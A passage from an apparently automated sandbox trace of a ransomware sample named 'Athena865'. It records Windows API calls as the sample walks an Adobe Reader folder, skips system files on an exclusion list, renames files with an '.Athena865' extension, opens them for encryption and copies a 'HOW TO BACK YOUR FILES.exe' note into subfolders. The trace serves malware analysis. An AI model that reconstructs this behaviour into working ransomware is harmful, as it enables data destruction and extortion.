CloseHandle (hObject=0x154) returned 1 [0092.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0092.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.626] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4318, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReadMeRUM.htm", cAlternateFileName="README~4.HTM")) returned 1 [0092.626] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.626] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.626] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2=".") returned 1 [0092.626] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="..") returned 1 [0092.626] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="windows") returned -1 [0092.626] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="bootmgr") returned 1 [0092.626] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="temp") returned -1 [0092.626] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="pagefile.sys") returned 1 [0092.626] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="boot") returned 1 [0092.626] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="ids.txt") returned 1 [0092.626] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="ntuser.dat") returned 1 [0092.626] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="perflogs") returned 1 [0092.626] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2="MSBuild") returned 1 [0092.626] lstrlenW (lpString="ReadMeRUM.htm") returned 13 [0092.626] lstrcpyW (in: lpString1=0x241e89a, lpString2="ReadMeRUM.htm" | out: lpString1="ReadMeRUM.htm") returned="ReadMeRUM.htm" [0092.626] lstrlenW (lpString="ReadMeRUM.htm") returned 13 [0092.626] lstrlenW (lpString="Athena865") returned 9 [0092.626] lstrcmpiW (lpString1="MeRUM.htm", lpString2="Athena865") returned 1 [0092.626] lstrlenW (lpString=".dll") returned 4 [0092.626] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2=".dll") returned 1 [0092.626] lstrlenW (lpString=".lnk") returned 4 [0092.626] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2=".lnk") returned 1 [0092.626] lstrlenW (lpString=".ini") returned 4 [0092.626] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2=".ini") returned 1 [0092.626] lstrlenW (lpString=".sys") returned 4 [0092.626] lstrcmpiW (lpString1="ReadMeRUM.htm", lpString2=".sys") returned 1 [0092.627] lstrlenW (lpString="ReadMeRUM.htm") returned 13 [0092.627] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm.Athena865") returned 64 [0092.627] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerum.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerum.htm.athena865"), dwFlags=0x1) returned 1 [0092.628] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerum.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0092.628] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17176) returned 1 [0092.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0092.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.628] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.629] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.629] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.629] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4620, lpName=0x0) returned 0x17c [0092.631] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4620) returned 0x100000 [0092.633] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.633] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.633] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.634] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.634] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.634] CloseHandle (hObject=0x17c) returned 1 [0092.634] CloseHandle (hObject=0x154) returned 1 [0092.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0092.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.635] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4872, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReadMeRUS.htm", cAlternateFileName="README~3.HTM")) returned 1 [0092.635] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.635] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.635] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2=".") returned 1 [0092.635] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="..") returned 1 [0092.635] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="windows") returned -1 [0092.635] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="bootmgr") returned 1 [0092.635] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="temp") returned -1 [0092.635] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="pagefile.sys") returned 1 [0092.635] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="boot") returned 1 [0092.635] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="ids.txt") returned 1 [0092.635] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="ntuser.dat") returned 1 [0092.635] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="perflogs") returned 1 [0092.635] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2="MSBuild") returned 1 [0092.635] lstrlenW (lpString="ReadMeRUS.htm") returned 13 [0092.635] lstrcpyW (in: lpString1=0x241e89a, lpString2="ReadMeRUS.htm" | out: lpString1="ReadMeRUS.htm") returned="ReadMeRUS.htm" [0092.635] lstrlenW (lpString="ReadMeRUS.htm") returned 13 [0092.636] lstrlenW (lpString="Athena865") returned 9 [0092.636] lstrcmpiW (lpString1="MeRUS.htm", lpString2="Athena865") returned 1 [0092.636] lstrlenW (lpString=".dll") returned 4 [0092.636] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2=".dll") returned 1 [0092.636] lstrlenW (lpString=".lnk") returned 4 [0092.636] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2=".lnk") returned 1 [0092.636] lstrlenW (lpString=".ini") returned 4 [0092.636] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2=".ini") returned 1 [0092.636] lstrlenW (lpString=".sys") returned 4 [0092.636] lstrcmpiW (lpString1="ReadMeRUS.htm", lpString2=".sys") returned 1 [0092.636] lstrlenW (lpString="ReadMeRUS.htm") returned 13 [0092.636] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm.Athena865") returned 64 [0092.636] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerus.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerus.htm.athena865"), dwFlags=0x1) returned 1 [0092.637] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerus.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0092.637] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18546) returned 1 [0092.637] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.637] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0092.637] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.637] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.638] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.638] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.638] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b80, lpName=0x0) returned 0x17c [0092.641] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b80) returned 0x100000 [0092.643] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.643] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.644] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.644] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.644] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.644] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.644] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.644] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.644] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.644] CloseHandle (hObject=0x17c) returned 1 [0092.644] CloseHandle (hObject=0x154) returned 1 [0092.645] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0092.645] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.645] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.645] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43b7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReadMeSKY.htm", cAlternateFileName="README~2.HTM")) returned 1 [0092.645] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.645] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.645] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2=".") returned 1 [0092.645] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="..") returned 1 [0092.645] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="windows") returned -1 [0092.645] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="bootmgr") returned 1 [0092.645] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="temp") returned -1 [0092.645] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="pagefile.sys") returned 1 [0092.645] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="boot") returned 1 [0092.645] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="ids.txt") returned 1 [0092.645] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="ntuser.dat") returned 1 [0092.645] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="perflogs") returned 1 [0092.645] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2="MSBuild") returned 1 [0092.645] lstrlenW (lpString="ReadMeSKY.htm") returned 13 [0092.645] lstrcpyW (in: lpString1=0x241e89a, lpString2="ReadMeSKY.htm" | out: lpString1="ReadMeSKY.htm") returned="ReadMeSKY.htm" [0092.645] lstrlenW (lpString="ReadMeSKY.htm") returned 13 [0092.645] lstrlenW (lpString="Athena865") returned 9 [0092.645] lstrcmpiW (lpString1="MeSKY.htm", lpString2="Athena865") returned 1 [0092.645] lstrlenW (lpString=".dll") returned 4 [0092.646] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2=".dll") returned 1 [0092.646] lstrlenW (lpString=".lnk") returned 4 [0092.646] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2=".lnk") returned 1 [0092.646] lstrlenW (lpString=".ini") returned 4 [0092.646] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2=".ini") returned 1 [0092.646] lstrlenW (lpString=".sys") returned 4 [0092.646] lstrcmpiW (lpString1="ReadMeSKY.htm", lpString2=".sys") returned 1 [0092.646] lstrlenW (lpString="ReadMeSKY.htm") returned 13 [0092.646] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm.Athena865") returned 64 [0092.646] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmesky.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmesky.htm.athena865"), dwFlags=0x1) returned 1 [0092.647] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmesky.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0092.647] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17335) returned 1 [0092.647] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.647] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0092.647] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.647] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.648] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.648] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.648] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x46c0, lpName=0x0) returned 0x17c [0092.650] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x46c0) returned 0x100000 [0092.651] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.652] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.652] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.652] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.654] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4995, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReadMeUKR.htm", cAlternateFileName="README~1.HTM")) returned 1 [0092.654] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.654] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.654] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2=".") returned 1 [0092.654] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="..") returned 1 [0092.654] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="windows") returned -1 [0092.654] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="bootmgr") returned 1 [0092.654] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="temp") returned -1 [0092.654] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="pagefile.sys") returned 1 [0092.654] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="boot") returned 1 [0092.654] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="ids.txt") returned 1 [0092.654] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="ntuser.dat") returned 1 [0092.654] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="perflogs") returned 1 [0092.655] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2="MSBuild") returned 1 [0092.655] lstrlenW (lpString="ReadMeUKR.htm") returned 13 [0092.655] lstrcpyW (in: lpString1=0x241e89a, lpString2="ReadMeUKR.htm" | out: lpString1="ReadMeUKR.htm") returned="ReadMeUKR.htm" [0092.655] lstrlenW (lpString="ReadMeUKR.htm") returned 13 [0092.655] lstrlenW (lpString="Athena865") returned 9 [0092.655] lstrcmpiW (lpString1="MeUKR.htm", lpString2="Athena865") returned 1 [0092.655] lstrlenW (lpString=".dll") returned 4 [0092.655] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2=".dll") returned 1 [0092.655] lstrlenW (lpString=".lnk") returned 4 [0092.655] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2=".lnk") returned 1 [0092.655] lstrlenW (lpString=".ini") returned 4 [0092.655] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2=".ini") returned 1 [0092.655] lstrlenW (lpString=".sys") returned 4 [0092.655] lstrcmpiW (lpString1="ReadMeUKR.htm", lpString2=".sys") returned 1 [0092.655] lstrlenW (lpString="ReadMeUKR.htm") returned 13 [0092.655] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm.Athena865") returned 64 [0092.655] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmeukr.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmeukr.htm.athena865"), dwFlags=0x1) returned 1 [0092.656] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmeukr.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0092.656] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18837) returned 1 [0092.657] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.657] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.657] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.657] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ca0, lpName=0x0) returned 0x17c [0092.659] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4ca0) returned 0x100000 [0092.660] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.661] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.661] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.661] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Resource", cAlternateFileName="")) returned 1 [0092.662] lstrcmpiW (lpString1="Resource", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.662] lstrcmpiW (lpString1="Resource", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.662] lstrcmpiW (lpString1="Resource", lpString2=".") returned 1 [0092.662] lstrcmpiW (lpString1="Resource", lpString2="..") returned 1 [0092.662] lstrcmpiW (lpString1="Resource", lpString2="windows") returned -1 [0092.662] lstrcmpiW (lpString1="Resource", lpString2="bootmgr") returned 1 [0092.662] lstrcmpiW (lpString1="Resource", lpString2="temp") returned -1 [0092.662] lstrcmpiW (lpString1="Resource", lpString2="pagefile.sys") returned 1 [0092.662] lstrcmpiW (lpString1="Resource", lpString2="boot") returned 1 [0092.662] lstrcmpiW (lpString1="Resource", lpString2="ids.txt") returned 1 [0092.662] lstrcmpiW (lpString1="Resource", lpString2="ntuser.dat") returned 1 [0092.662] lstrcmpiW (lpString1="Resource", lpString2="perflogs") returned 1 [0092.662] lstrcmpiW (lpString1="Resource", lpString2="MSBuild") returned 1 [0092.662] lstrlenW (lpString="Resource") returned 8 [0092.662] lstrcpyW (in: lpString1=0x241e89a, lpString2="Resource" | out: lpString1="Resource") returned="Resource" [0092.662] lstrcatW (in: lpString1="Resource", lpString2="\\" | out: lpString1="Resource\\") returned="Resource\\" [0092.662] lstrcatW (in: lpString1="Resource\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Resource\\HOW TO BACK YOUR FILES.exe") returned="Resource\\HOW TO BACK YOUR FILES.exe" [0092.662] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.666] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 